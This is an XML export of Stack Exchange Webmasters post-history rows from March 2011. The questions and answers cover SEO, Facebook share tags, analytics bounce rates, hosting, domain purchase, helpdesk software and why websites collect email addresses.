  <row Id="22128" PostHistoryTypeId="2" PostId="9937" RevisionGUID="844c6578-1b29-4902-b8b3-d9ff65084ae7" CreationDate="2011-03-02T23:05:51.820" UserDisplayName="user5789" Text="FB share currently pulls the page title tag and first body text by default.&#xD;&#xA;&#xD;&#xA;However our title tags are optimised for SEO and we want to customise what people see when the website is shared.&#xD;&#xA;&#xD;&#xA;I thought this might be a solution:&#xD;&#xA;&#xD;&#xA;&lt;meta name=”title”&#xD;&#xA;content=”title” /&gt;&#xD;&#xA;&lt;meta name=”description” content=”description ” /&gt;&#xD;&#xA;&lt;link rel=”image_src” href=”thumbnail_image” / &gt;&#xD;&#xA;&#xD;&#xA;But have been told this will still conflict with the SEO?&#xD;&#xA;&#xD;&#xA;Can anyone help?&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;Paul" />
  <row Id="22129" PostHistoryTypeId="1" PostId="9937" RevisionGUID="844c6578-1b29-4902-b8b3-d9ff65084ae7" CreationDate="2011-03-02T23:05:51.820" UserDisplayName="user5789" Text="How do we customise FB share function without affecting SEO?" />
  <row Id="22130" PostHistoryTypeId="3" PostId="9937" RevisionGUID="844c6578-1b29-4902-b8b3-d9ff65084ae7" CreationDate="2011-03-02T23:05:51.820" UserDisplayName="user5789" Text="&lt;seo&gt;&lt;facebook&gt;&lt;seo-friendly&gt;" />
  <row Id="22131" PostHistoryTypeId="25" PostId="9921" RevisionGUID="3cf35056-3d5b-451e-89f4-6373a2b0870c" CreationDate="2011-03-02T23:23:12.487" Comment="http://twitter.com/#!/StackWebmasters/status/43088997840461824" />
  <row Id="22132" PostHistoryTypeId="5" PostId="9900" RevisionGUID="8a1d1f31-8f29-4441-9c95-256c26fb22c3" CreationDate="2011-03-02T23:35:42.990" UserId="529" Comment="added 375 characters in body" Text="From [Google Analytics Help Center][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Bounce rate is the percentage of&#xD;&#xA;&gt; single-page visits or visits in which&#xD;&#xA;&gt; the person left your site from the&#xD;&#xA;&gt; entrance (landing) page.&#xD;&#xA;&#xD;&#xA;The important thing to note is that Google is totally blind to pages that don't have Google Analytics on them. That means, if the page to login to your member area (and all subsequent pages) doesn't have Google Analytics, it assumes that a session without a second page view is a bounce, and will record it accordingly. &#xD;&#xA;&#xD;&#xA;(Also, if the next page someone visits after the landing page is on a different domain or subdomain that you do happen to track, and you haven't properly configured sub-domain or cross-domain tracking, it will record that as 2 separate visits, the first of which resulted in a bounce.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=81986" />
  <row Id="22133" PostHistoryTypeId="2" PostId="9938" RevisionGUID="e953699d-1793-453d-8b65-41dd9dba6c3d" CreationDate="2011-03-02T23:45:33.737" UserId="529" Text="The Technology website [Ars Technica][1] has adjusted their URL rewrite rules to end with a `.ars`. Traditionally, sites have taken advantage of this URL rewriting capability to completely eliminate file suffixes like `.html`, `.php`, `.aspx` etc, under the theory that this made for better SEO (since the content of the URL was more relevant to the content)&#xD;&#xA;&#xD;&#xA;Ars Technicas, though, look like this: &#xD;&#xA;&gt;http://arstechnica.com/science/news/2011/03/flow-from-the-poles-drive-sunspot-levels.ars&#xD;&#xA;&#xD;&#xA;So, is Ars Technica adding the `.ars` file suffix purely a vanity play? Or is it an SEO trick to improve the site's SEO by cleverly inserting their site name into every URL slug?&#xD;&#xA;&#xD;&#xA;And, if this is indeed an effective SEO trick, should other sites follow suit?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://arstechnica.com" />
  <row Id="22134" PostHistoryTypeId="1" PostId="9938" RevisionGUID="e953699d-1793-453d-8b65-41dd9dba6c3d" CreationDate="2011-03-02T23:45:33.737" UserId="529" Text="Ars Technica .ars URL suffix -- Vanity or SEO Benefit?" />
  <row Id="22135" PostHistoryTypeId="3" PostId="9938" RevisionGUID="e953699d-1793-453d-8b65-41dd9dba6c3d" CreationDate="2011-03-02T23:45:33.737" UserId="529" Text="&lt;seo&gt;&lt;url-rewriting&gt;&lt;clean-urls&gt;" />
  <row Id="22136" PostHistoryTypeId="2" PostId="9939" RevisionGUID="d69a2811-4b7a-467b-8f30-c3ba48bfabd6" CreationDate="2011-03-03T00:42:57.223" UserId="4502" Text="According to &lt;a href=&quot;http://arstechnica.com/author/kurt-mackey/&quot;&gt;Kurt&lt;/a&gt; himself, it was basically &lt;a href=&quot;http://arstechnica.com/phpbb/viewtopic.php?p=5940130&amp;sid=1b46a1d9cc0cdbc6ba7a9a3112752a9f#p5940130&quot;&gt;just cuz&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;And I'd personally question whether search engines consider URLs' file extensions as &quot;words&quot; for search purposes, though I'm not sure I've run across definitive evidence either way on that." />
  <row Id="22137" PostHistoryTypeId="2" PostId="9940" RevisionGUID="6faec0c3-d1b5-45be-b89f-8ec7a500f6cb" CreationDate="2011-03-03T00:55:20.980" UserId="1735" Text="Basically, I'm looking for a device to use on the road and I would prefer to not have to sit down for the majority of the tasks (which rules out netbooks, in my mind). I'm also hoping to spend less than $500.&#xD;&#xA;&#xD;&#xA;This is what I'd like to &quot;capably&quot; be able to do on the device:&#xD;&#xA;&#xD;&#xA; - Browse the web in non-mobile format, flash is a plus&#xD;&#xA; - Email, chat, etc&#xD;&#xA; - Have access to a decent text editor and ftp OR a browser that supports BESPIN/ACE&#xD;&#xA; - Some sort of SSH support&#xD;&#xA;&#xD;&#xA;I'm looking at rooted Android phones and iPhone/iPads... though the phone aspect is only icing (it would be cool to consolidate the two devices and have net access through cell networks, but I'm not married to the idea).&#xD;&#xA;&#xD;&#xA;Are there cheap linux tablets that are ready for prime-time yet? I suppose that would be ideal.&#xD;&#xA;&#xD;&#xA;All suggestions welcome!" />
  <row Id="22138" PostHistoryTypeId="1" PostId="9940" RevisionGUID="6faec0c3-d1b5-45be-b89f-8ec7a500f6cb" CreationDate="2011-03-03T00:55:20.980" UserId="1735" Text="Which mobile device is appropriate as a utility tool for a web master?" />
  <row Id="22139" PostHistoryTypeId="3" PostId="9940" RevisionGUID="6faec0c3-d1b5-45be-b89f-8ec7a500f6cb" CreationDate="2011-03-03T00:55:20.980" UserId="1735" Text="&lt;mobile&gt;&lt;iphone&gt;&lt;android&gt;" />
  <row Id="22140" PostHistoryTypeId="2" PostId="9941" RevisionGUID="b672fb27-6955-45cb-a25b-971b76b7c32f" CreationDate="2011-03-03T01:54:54.657" UserId="1253" Text="If your site is powered by JavaScript it will **kill** your SEO. JavaScript is very un-se-friendly. And very unaccessible. Doing this is a ***very bad idea***.&#xD;&#xA;&#xD;&#xA;Yes, [Google is working on crawlable Ajax][1] but not only does it only make Google happy it's being universally panned.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html" />
  <row Id="22141" PostHistoryTypeId="5" PostId="9941" RevisionGUID="689b704d-7166-4ba3-96eb-e82ab4e44482" CreationDate="2011-03-03T02:00:46.710" UserId="1253" Comment="added 65 characters in body; added 11 characters in body" Text="If your site is powered by JavaScript it will **kill** your SEO. JavaScript is very un-search engine-friendly. And very inaccessible. Doing this is a ***very bad idea***. Yes, [Google is working on crawlable Ajax][1] but not only does it only make Google happy it's [being universally panned][2]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html&#xD;&#xA;  [2]: http://shiflett.org/blog/2011/feb/javascript-and-urls" />
  <row Id="22142" PostHistoryTypeId="2" PostId="9942" RevisionGUID="e4b5fed9-3250-46d6-9c0d-aa5673ac8692" CreationDate="2011-03-03T02:05:08.033" UserId="1253" Text="[The share button is going away][1]. The Like button allows you to set the title that shows when the web page is liked so this should solve your problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://news.cnet.com/8301-1023_3-20037008-93.html?part=rss&amp;subj=news&amp;tag=2547-1_3-0-20" />
  <row Id="22143" PostHistoryTypeId="5" PostId="9874" RevisionGUID="e15c7014-4d7f-4620-8597-fbc351072008" CreationDate="2011-03-03T02:06:20.920" UserId="1787" Comment="Spelling, grammar" Text="How do URLs work in other countries? Let's say India or China that use non A-Z characters.&#xD;&#xA;&#xD;&#xA;Do they use English terms in the URL? Or can they write characters in urls like:&#xD;&#xA;&#xD;&#xA;&gt; सच्चाई.html&#xD;&#xA;" />
  <row Id="22144" PostHistoryTypeId="4" PostId="9874" RevisionGUID="e15c7014-4d7f-4620-8597-fbc351072008" CreationDate="2011-03-03T02:06:20.920" UserId="1787" Comment="Spelling, grammar" Text="How do URLs work in a country with non-latin chars?" />
  <row Id="22145" PostHistoryTypeId="24" PostId="9874" RevisionGUID="e15c7014-4d7f-4620-8597-fbc351072008" CreationDate="2011-03-03T02:06:20.920" Comment="Proposed by 1787 approved by 1253 edit id of 42" />
  <row Id="22146" PostHistoryTypeId="6" PostId="9897" RevisionGUID="ec765c62-7ec7-4d5b-9098-0723f9b6cb6e" CreationDate="2011-03-03T02:08:35.143" UserId="1253" Comment="Removed &quot;optimizations&quot; tag" Text="&lt;google-analytics&gt;" />
  <row Id="22147" PostHistoryTypeId="2" PostId="9943" RevisionGUID="9bef79fb-af08-4001-af19-70c5815837e7" CreationDate="2011-03-03T02:17:06.167" UserId="5026" Text="I want to run a small business website which features helpdesk / customer support software, which includes ticket management, and possibly a knowledge base.&#xD;&#xA;&#xD;&#xA;Does anyone have any recommendations?" />
  <row Id="22148" PostHistoryTypeId="1" PostId="9943" RevisionGUID="9bef79fb-af08-4001-af19-70c5815837e7" CreationDate="2011-03-03T02:17:06.167" UserId="5026" Text="Helpdesk software" />
  <row Id="22149" PostHistoryTypeId="3" PostId="9943" RevisionGUID="9bef79fb-af08-4001-af19-70c5815837e7" CreationDate="2011-03-03T02:17:06.167" UserId="5026" Text="&lt;customer-service&gt;" />
  <row Id="22150" PostHistoryTypeId="25" PostId="9938" RevisionGUID="56cd68ac-62d7-476c-8cbe-f3f3ea729380" CreationDate="2011-03-03T02:23:13.227" Comment="http://twitter.com/#!/StackWebmasters/status/43134297254789120" />
  <row Id="22151" PostHistoryTypeId="2" PostId="9944" RevisionGUID="ff632fa3-bae8-4ef7-ba77-d4b91298ee9a" CreationDate="2011-03-03T02:44:15.063" UserId="5792" Text="You're going to need more details than just the number of concurrent users. &#xD;&#xA;&#xD;&#xA;- What web services do you need (PHP, ASP, static files, database, which database, cache layer, etc...)? Some of this will &#xD;&#xA;- What level of redundancy/availability do you want? Higher availability means less potential down time but at an expense of higher cost, time, and skill to setup.&#xD;&#xA;- What is the average request rate for a user of the site? Look at static files, dynamic files, database requests, what can be cached and what can't.&#xD;&#xA;- Do some quick tests/benchmarks for various systems to get a rough idea of what capabilities they have. Even better would be a simple prototype game setup which simulates the kind of requests you expect.&#xD;&#xA;- If you're completely unsure just start with cheap/basic hardware and perform benchmark testing when you application gets to a minimally usable level. With a good design and setup you'd be surprised how much a low end server can do. Design and plan the system for easy migration to more powerful hardware if/when you need it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22152" PostHistoryTypeId="17" PostId="9946" RevisionGUID="7f13818d-b409-4302-b1eb-9b6e31127423" CreationDate="2011-03-03T03:06:43.217" UserId="-1" Comment="from http://stackoverflow.com/questions/5163997/free-jsp-spring-mvc-web-hosting-site/5164237#5164237" Text="" />
  <row Id="22153" PostHistoryTypeId="2" PostId="9946" RevisionGUID="cbf6546d-1b8c-4bbe-aff9-3f67ec5d3c88" CreationDate="2011-03-02T06:39:49.143" UserDisplayName="William Billingsley" Text="Cloudbees' [Run@Cloud][1] (formerly stax.net) is currently free.  I don't know how long that will remain the case, however.  It appears to support Spring MVC and JDBC.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cloudbees.com/run.cb" />
  <row Id="22154" PostHistoryTypeId="16" PostId="9946" RevisionGUID="cbf6546d-1b8c-4bbe-aff9-3f67ec5d3c88" CreationDate="2011-03-02T06:39:49.143" UserId="-1" />
  <row Id="22155" PostHistoryTypeId="2" PostId="9945" RevisionGUID="01de1b22-3076-4900-b65e-e2ef6727fbe1" CreationDate="2011-03-02T06:04:27.370" UserDisplayName="Mark Estrada" Text="I am thinking of hosting a small web application built using Spring MVC.  Does anybody know any free web hosting sites that supports JDBC also?&#xD;&#xA;&#xD;&#xA;I haven't tried web hosting site so I would like to know one site which sites are free and ok.&#xD;&#xA;My app wont take so much disk space and would like to know if there are sites that runs on Tomcat.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="22156" PostHistoryTypeId="1" PostId="9945" RevisionGUID="01de1b22-3076-4900-b65e-e2ef6727fbe1" CreationDate="2011-03-02T06:04:27.370" UserDisplayName="Mark Estrada" Text="Free JSP/Spring MVC Web Hosting Site" />
  <row Id="22157" PostHistoryTypeId="3" PostId="9945" RevisionGUID="01de1b22-3076-4900-b65e-e2ef6727fbe1" CreationDate="2011-03-02T06:04:27.370" UserDisplayName="Mark Estrada" Text="&lt;jsp&gt;&lt;web-hosting&gt;" />
  <row Id="22158" PostHistoryTypeId="17" PostId="9945" RevisionGUID="b2cefef7-eaa1-4228-b221-1988e0426802" CreationDate="2011-03-03T03:06:43.217" UserId="-1" Comment="from http://stackoverflow.com/questions/5163997/free-jsp-spring-mvc-web-hosting-site" Text="" />
  <row Id="22159" PostHistoryTypeId="17" PostId="9948" RevisionGUID="790fc4ca-1dfa-4b64-a2cc-83bcc695cc10" CreationDate="2011-03-03T03:41:50.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5176346/buy-a-registered-domain/5176378#5176378" Text="" />
  <row Id="22160" PostHistoryTypeId="2" PostId="9948" RevisionGUID="e60f5ea5-21b0-4608-885b-d9793f75ad04" CreationDate="2011-03-03T03:37:17.117" UserDisplayName="Ross" Text="Normally a registrar can get the contact information. If you want to contact the person yourself you might try using the `whois` utility. You can use a Linux command line or a website like this one: http://www.whois.net/  This will give you contact information and by law the information must be accurate. Of course, that's no guarantee that the person wants to sell the domain." />
  <row Id="22161" PostHistoryTypeId="2" PostId="9947" RevisionGUID="3db9182d-778e-417e-b23b-4300ce75fb43" CreationDate="2011-03-03T03:30:58.743" UserDisplayName="Barry" Text="I wanna buy a domain name but it's already registered and when I go to that site it looks like not very active and just ads all around. But is doesn't contain any info to contact so how can I buy it?" />
  <row Id="22162" PostHistoryTypeId="1" PostId="9947" RevisionGUID="3db9182d-778e-417e-b23b-4300ce75fb43" CreationDate="2011-03-03T03:30:58.743" UserDisplayName="Barry" Text="Buy a registered domain?" />
  <row Id="22163" PostHistoryTypeId="3" PostId="9947" RevisionGUID="3db9182d-778e-417e-b23b-4300ce75fb43" CreationDate="2011-03-03T03:30:58.743" UserDisplayName="Barry" Text="&lt;domains&gt;" />
  <row Id="22164" PostHistoryTypeId="17" PostId="9947" RevisionGUID="d8567bb0-4743-413f-a57e-e4f4b7ccb313" CreationDate="2011-03-03T03:41:50.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5176346/buy-a-registered-domain" Text="" />
  <row Id="22165" PostHistoryTypeId="2" PostId="9949" RevisionGUID="f9cc9cf5-cf30-40bc-a317-9dbd15907bf2" CreationDate="2011-03-03T05:17:35.370" UserDisplayName="user5795" Text="I'm basically looking for a program/app/script (can be commercial) which I can ideally install on a windows server (we can run asp, asp.net php mssql) &#xD;&#xA;&#xD;&#xA;we have different groups of people who send newsletters to web members, I want to bring it all into one app which I can monitor and control. Ideally it would be able to create html newsletters, (with some templates) track emails and click throughs. Manage email lists subscribe/unsubscribes. And importantly have different levels of admin, so a newsletter creator could log in and create and send off an email, it goes into a queue where a communications editor can have an overview of all newsletters and approve the sending of the emails or edit them before they are sent off. &#xD;&#xA;&#xD;&#xA;before I start coding something up myself I thought I'd ask if anyone has any advice!&#xD;&#xA;&#xD;&#xA;Cheers!" />
  <row Id="22166" PostHistoryTypeId="1" PostId="9949" RevisionGUID="f9cc9cf5-cf30-40bc-a317-9dbd15907bf2" CreationDate="2011-03-03T05:17:35.370" UserDisplayName="user5795" Text="Do you know a good html mailing list management software with admin levels?" />
  <row Id="22167" PostHistoryTypeId="3" PostId="9949" RevisionGUID="f9cc9cf5-cf30-40bc-a317-9dbd15907bf2" CreationDate="2011-03-03T05:17:35.370" UserDisplayName="user5795" Text="&lt;email&gt;&lt;tracking&gt;&lt;software&gt;&lt;mailing-list&gt;&lt;management&gt;" />
  <row Id="22168" PostHistoryTypeId="25" PostId="9947" RevisionGUID="88d85037-7c6b-4f30-a021-171e7b07ce74" CreationDate="2011-03-03T05:23:14.100" Comment="http://twitter.com/#!/StackWebmasters/status/43179599273795584" />
  <row Id="22169" PostHistoryTypeId="2" PostId="9950" RevisionGUID="9c734e2c-fe49-4dc3-bf16-781afab890cb" CreationDate="2011-03-03T05:48:58.220" UserId="5157" Text="Check out [phplist][1], it's free or [Interspire Email Marketer][2] is a paid version ~$400.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phplist.com/&#xD;&#xA;  [2]: http://www.interspire.com/emailmarketer/" />
  <row Id="22170" PostHistoryTypeId="2" PostId="9951" RevisionGUID="f048655b-4062-4beb-9a59-abb7c9a6ce73" CreationDate="2011-03-03T05:52:43.677" UserId="5157" Text="[Kayako][1] offers a hosted or self hosted solutions. There is also some open source solutions but I've never used them. I have used Kayako and it's not bad.&#xD;&#xA;&#xD;&#xA;&lt;li&gt;OTRS - http://otrs.org/&lt;/li&gt;&#xD;&#xA;&lt;li&gt;osTicket - http://osticket.com/&lt;/li&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kayako.com/" />
  <row Id="22171" PostHistoryTypeId="2" PostId="9952" RevisionGUID="e6b12026-f4bf-4b82-bec4-bb9aac5ec94f" CreationDate="2011-03-03T08:07:01.090" UserId="4879" Text="I'll give an example of one that I've noticed: the number of web sites that ask for your email address (GOOG ID, YAHOO! ID, etc.) has skyrocketed.&#xD;&#xA;&#xD;&#xA;I can come up with **NO LEGITIMATE REASON FOR THIS** (other than to remind you that you have an account there, based upon the time of your last visit... but even that is questionable.)&#xD;&#xA;&#xD;&#xA;Why does a web site need to know your email address (Google ID, etc.) if all you want to do is...&#xD;&#xA;&#xD;&#xA; - download a file (no legit reason whatsoever)&#xD;&#xA; - post on a forum (no legit reason whatsoever)&#xD;&#xA; - post twitter messages or other instant messaging (no legit reason whatsoever)&#xD;&#xA; - play a game (no legit reason whatsoever)&#xD;&#xA; - buy something (only one mildly legit reason: giving you a copy of a receipt that they can't delete, as receipts stored on their server can be deleted)&#xD;&#xA; - newsletter (the only difference between a newsletter and a blog is that you're more likely to forget about the web site than you are to forget about your email address)&#xD;&#xA;&#xD;&#xA;On the other hand, I can think of plenty of very shady reasons for asking for this information:&#xD;&#xA;&#xD;&#xA; 1. so the NSA, CIA, FBI, etc. can very easily track what you do by reading your email or asking GOOG, etc. what sites you used your GOOG ID at&#xD;&#xA; 2. to use the password that you provide for your account in order to get into your email account (most people use the same password for all of their accounts), find all of your other accounts in your inbox, and then get into all of those accounts&#xD;&#xA; 3. sell your email address to spammers&#xD;&#xA;&#xD;&#xA;These reasons, I believe, are why you are constantly asked to provide your email address.  I can come up with no other explanations whatsoever.&#xD;&#xA;&#xD;&#xA;Question 1: Can anyone think of any legitimate or illegitimate reasons for asking for someone's email address?&#xD;&#xA;&#xD;&#xA;Question 2: What are some other interesting internet trends of the past ~10 years?" />
  <row Id="22172" PostHistoryTypeId="1" PostId="9952" RevisionGUID="e6b12026-f4bf-4b82-bec4-bb9aac5ec94f" CreationDate="2011-03-03T08:07:01.090" UserId="4879" Text="What are some internet trends that you've noticed over the past ~10 years?" />
  <row Id="22173" PostHistoryTypeId="3" PostId="9952" RevisionGUID="e6b12026-f4bf-4b82-bec4-bb9aac5ec94f" CreationDate="2011-03-03T08:07:01.090" UserId="4879" Text="&lt;security&gt;&lt;spam&gt;&lt;design&gt;&lt;web&gt;" />
  <row Id="22174" PostHistoryTypeId="2" PostId="9953" RevisionGUID="39cdaaf7-412c-4443-a580-093917e7cd23" CreationDate="2011-03-03T08:10:45.343" UserId="5692" Text="I'm studying **Computer Science**, and I've always been more interested in programming than in designing and creating the layout of some websites.&#xD;&#xA;&#xD;&#xA;**Is this something I should know? Or should I focus on programming languages (*C*, *Python*, *C#*, *JavaScript*, *PHP*, *...*)?**&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22175" PostHistoryTypeId="1" PostId="9953" RevisionGUID="39cdaaf7-412c-4443-a580-093917e7cd23" CreationDate="2011-03-03T08:10:45.343" UserId="5692" Text="Should a Computer Scientist do the HML + CSS job when building a website?" />
  <row Id="22176" PostHistoryTypeId="3" PostId="9953" RevisionGUID="39cdaaf7-412c-4443-a580-093917e7cd23" CreationDate="2011-03-03T08:10:45.343" UserId="5692" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="22177" PostHistoryTypeId="2" PostId="9954" RevisionGUID="a9d28031-7472-4484-b949-fb0e45862b6b" CreationDate="2011-03-03T08:14:56.387" UserId="4929" Text="I have a client with a dozen territorial domains, like mydomain.co.uk, mydomain.fr, mydomain.de, etc Most of these domains hold a different language of the same dynamic content (shop), but some, like co.uk and .com, have the same language and content, except for some content customized to each country/domain in the front page, contact and other pages.&#xD;&#xA;&#xD;&#xA;I am aware that we should use the canonical meta tag to mark those duplicated contents, but, we want the co.uk to be present in UK ( indexed in google.co.uk ) and the .com to be present in US and other countries, for example, or least that is the goal.&#xD;&#xA;&#xD;&#xA;Is there anything we can do to &quot;help&quot; google determine the geographical meaning of each domain? If we mark with canonical tag the .com and co.uk sites, do you know how google will decide which one to show on a given search? " />
  <row Id="22178" PostHistoryTypeId="1" PostId="9954" RevisionGUID="a9d28031-7472-4484-b949-fb0e45862b6b" CreationDate="2011-03-03T08:14:56.387" UserId="4929" Text="Correctly indexing multiple domains with same content in Google and others" />
  <row Id="22179" PostHistoryTypeId="3" PostId="9954" RevisionGUID="a9d28031-7472-4484-b949-fb0e45862b6b" CreationDate="2011-03-03T08:14:56.387" UserId="4929" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;seo-friendly&gt;&lt;multiple-domains&gt;" />
  <row Id="22180" PostHistoryTypeId="2" PostId="9955" RevisionGUID="7cf5c1c3-7964-42f5-a5e7-c51ffaf6498f" CreationDate="2011-03-03T08:15:50.270" UserId="4879" Text="HTML/CSS is extremely easy unless you care about how the web site looks or whether or not it has bells and whistles.&#xD;&#xA;&#xD;&#xA;Should you know all the ins and outs of jQuery, MooTools, etc.?  No, you probably don't need to go that far.&#xD;&#xA;&#xD;&#xA;Should you understand how to make a very basic web page (html, head, /head, body, /body, /html, js and css includes, id's and classes, what a div is, what a table is, etc.)?  These things are incredibly easy to learn.  You could learn all of that stuff in a week, and you might be considered retarded if you don't know them, so I'd say yes.  Similarly, if someone mentions SQL, IIS, SSL, etc., you should know what those are, even if you don't know how to use them." />
  <row Id="22181" PostHistoryTypeId="25" PostId="9952" RevisionGUID="13a925d2-97b4-4ca8-ab41-62c0732f3420" CreationDate="2011-03-03T08:23:14.367" Comment="http://twitter.com/#!/StackWebmasters/status/43224902035189760" />
  <row Id="22182" PostHistoryTypeId="2" PostId="9956" RevisionGUID="03dc85d4-dbb5-4b99-b666-17ac56d102cb" CreationDate="2011-03-03T08:31:49.337" UserId="5718" Text=" 1. It's pretty standard to try and get visitors onto a mailing list to keep in contact with them in the hope of making future sales etc. It's not necessarily SPAM if you've clearly opted into it and can easily opt-out. However, it's quite hard to trust most sites not to sell an email address unless they're a well known brand.&#xD;&#xA; 2. Instead of just being 'good' at their job, many people with Internet related careers are usually self-proclaimed 'Gurus', 'Globally Recognised Experts', 'Thought Leaders' or more recently 'Rock Stars'. In reality these titles carry very little weight given how easy it is to promote yourself online by writing trash blog posts. It's often hard to see the wood-for-the-trees and I usually just go back to the world of printed literature in order to gain knowledge from the real 'experts' who have the staying power to write a book and the reputation to get it published." />
  <row Id="22183" PostHistoryTypeId="2" PostId="9957" RevisionGUID="2fed3a89-d626-4ee4-9f9c-fa694cd5896f" CreationDate="2011-03-03T08:32:20.387" UserId="3659" Text="As a computer scientist you would want to focus on your field of expertise. It goes without saying that you need to know what you are dealing with and that is most probably why you get designing and layout lessons during your classes.&#xD;&#xA;&#xD;&#xA;However, as soon as you start working on a professional level you will soon want to find yourself in a situation where the design is delivered to you as a XHML / CSS files. The hourly rate of an engineer is much higher than someone who slices .psd files. Another issue might be the fact that you need to take care of browser compatibility which can be quite annoying.&#xD;&#xA;&#xD;&#xA;But if you are asking this question to justify not taking these lessons I have to disagree ;) And, what if you want to start your own internet company and you don't have a budget to start with..." />
  <row Id="22184" PostHistoryTypeId="2" PostId="9958" RevisionGUID="c896987f-37e4-4dba-b518-bca681568e56" CreationDate="2011-03-03T08:38:35.517" UserId="3659" Text="Have a look at Sedo.com. If a domain is publicly for sale it is most probably listed there. If not, the owner of the domain can still be interested in selling. Sedo offers buying services, and it works pretty well. Alternatively you can simply do a whois lookup and drop the owner an email." />
  <row Id="22185" PostHistoryTypeId="5" PostId="9952" RevisionGUID="98a2e204-de70-4420-b7ca-adc8a290afe3" CreationDate="2011-03-03T08:39:43.900" UserId="4879" Comment="added 12 characters in body" Text="I'll give an example of one that I've noticed: the number of web sites that ask for your email address (GOOG ID, YAHOO! ID, etc.) has skyrocketed.&#xD;&#xA;&#xD;&#xA;I can come up with no legitimate reason for this other than (1) password reset [other ways to do this], or (2) to remind you that you have an account there, based upon the time of your last visit.&#xD;&#xA;&#xD;&#xA;Why does a web site need to know your email address (Google ID, etc.) if all you want to do is...&#xD;&#xA;&#xD;&#xA; - download a file (no legit reason whatsoever)&#xD;&#xA; - post on a forum (no legit reason whatsoever)&#xD;&#xA; - post twitter messages or other instant messaging (no legit reason whatsoever)&#xD;&#xA; - play a game (no legit reason whatsoever)&#xD;&#xA; - buy something (only one mildly legit reason: giving you a copy of a receipt that they can't delete, as receipts stored on their server can be deleted)&#xD;&#xA; - newsletter (the only difference between a newsletter and a blog is that you're more likely to forget about the web site than you are to forget about your email address)&#xD;&#xA;&#xD;&#xA;On the other hand, I can think of plenty of very shady reasons for asking for this information:&#xD;&#xA;&#xD;&#xA; 1. so the NSA, CIA, FBI, etc. can very easily track what you do by reading your email or asking GOOG, etc. what sites you used your GOOG ID at&#xD;&#xA; 2. to use the password that you provide for your account in order to get into your email account (most people use the same password for all of their accounts), find all of your other accounts in your inbox, and then get into all of those accounts&#xD;&#xA; 3. sell your email address to spammers&#xD;&#xA;&#xD;&#xA;These reasons, I believe, are why you are constantly asked to provide your email address.  I can come up with no other explanations whatsoever.&#xD;&#xA;&#xD;&#xA;Question 1: Can anyone think of any legitimate or illegitimate reasons for asking for someone's email address?&#xD;&#xA;&#xD;&#xA;Question 2: What are some other interesting internet trends of the past ~10 years?" />
  <row Id="22186" PostHistoryTypeId="2" PostId="9959" RevisionGUID="43991aa1-6477-4b3f-a7a4-dc45c2d0d398" CreationDate="2011-03-03T08:50:58.553" UserId="3659" Text="I have done some research on this topic and a well recommended service is provided by: kampyle.com. Its sleek, very professional, easy to integrate and so on. However their rates are rather steep and therefore possible a no-go for smaller businesses (its the reason I didn't opt for them).&#xD;&#xA;&#xD;&#xA;Why not opt for a forum / discussion section (possibly password protected). Its easy to setup and you can follow all questions and answer them if needed. Check: vbulletin.com and discussions.zoho.com&#xD;&#xA;&#xD;&#xA;Vbulletin has an addition package that might improve your performance: crawlability.com/vbseo/" />
  <row Id="22187" PostHistoryTypeId="5" PostId="9952" RevisionGUID="9d9834d2-4061-42e7-aa41-bf29bfb5f754" CreationDate="2011-03-03T09:08:05.047" UserId="4879" Comment="added 258 characters in body; added 50 characters in body; added 18 characters in body" Text="I'll give an example of one that I've noticed: the number of web sites that ask for your email address (GOOG ID, YAHOO! ID, etc.) has skyrocketed.&#xD;&#xA;&#xD;&#xA;I can come up with no legitimate reason for this other than (1) password reset [other ways to do this], or (2) to remind you that you have an account there, based upon the time of your last visit.&#xD;&#xA;&#xD;&#xA;Why does a web site need to know your email address (Google ID, etc.) if all you want to do is...&#xD;&#xA;&#xD;&#xA; - download a file (**no legit reason whatsoever**)&#xD;&#xA; - play a game (**no legit reason whatsoever**)&#xD;&#xA; - take an IQ test or search a database (**no legit reason whatsoever**)&#xD;&#xA; - watch a video or view a picture (**no legit reason whatsoever**)&#xD;&#xA; - read a forum (**no legit reason whatsoever**)&#xD;&#xA; - post on a forum (mildly legit reason: password reset)&#xD;&#xA; - newsletter (only difference between a newsletter and a blog is that you're more likely to forget about the web site than you are to forget about your email address -- the majority of web sites do not send out newsletters, however, so this can't be the justification)&#xD;&#xA; - post twitter messages or other instant messaging (mildly legit reason: password reset)&#xD;&#xA; - buy something (mildly legit reasons: password reset + giving you a copy of a receipt that they can't delete, as receipts stored on their server can be deleted)&#xD;&#xA;&#xD;&#xA;On the other hand, I can think of plenty of very shady reasons for asking for this information:&#xD;&#xA;&#xD;&#xA; 1. so the NSA, CIA, FBI, etc. can very easily track what you do by reading your email or asking GOOG, etc. what sites you used your GOOG ID at&#xD;&#xA; 2. to use the password that you provide for your account in order to get into your email account (most people use the same password for all of their accounts), find all of your other accounts in your inbox, and then get into all of those accounts&#xD;&#xA; 3. sell your email address to spammers&#xD;&#xA;&#xD;&#xA;These reasons, I believe, are why you are constantly asked to provide your email address.  I can come up with no other explanations whatsoever.&#xD;&#xA;&#xD;&#xA;Question 1: Can anyone think of any legitimate or illegitimate reasons for asking for someone's email address?&#xD;&#xA;&#xD;&#xA;Question 2: What are some other interesting internet trends of the past ~10 years?" />
